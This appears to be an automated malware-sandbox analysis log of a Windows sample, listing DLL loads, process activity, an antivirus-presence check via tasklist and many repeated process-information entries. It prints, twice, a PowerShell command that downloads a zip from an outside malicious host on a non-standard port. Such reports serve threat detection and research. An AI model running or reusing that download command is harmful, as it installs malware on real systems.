Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.17.dr
Source:	Binary string: .pdbrc source: genindex-Symbols.html.17.dr
Source:	Binary string: <tr class="row-even"><td><p>pdb.Pdb</p></td> source: audit_events.html.17.dr
Source:	Binary string: <td><p><a class="reference internal" href="pdb.html#pdb.Pdb">[1]</a></p></td> source: audit_events.html.17.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#module-pdb" title="pdb: The Python debugger for interactive interpreters."><code class="xref py py-mod docutils literal notranslate"><span class="pre">pdb</span></code></a> module now reads the <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> configuration file with source: 3.11.html.17.dr
Source:	Binary string: (<a class="reference internal" href="pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">pdb.Pdb</span></code></a>) is an example.</p> source: bdb.html.17.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:8930/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00007FFD9AAA3FED push ss; retf

8_2_00007FFD9AAA4062

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

System file written: C:\Users\user\Downloads\Extracted\Python\Python312\Doc\html\c-api\tuple.html

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8930
Source: unknown	Network traffic detected: HTTP traffic on port 8930 -> 49738

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
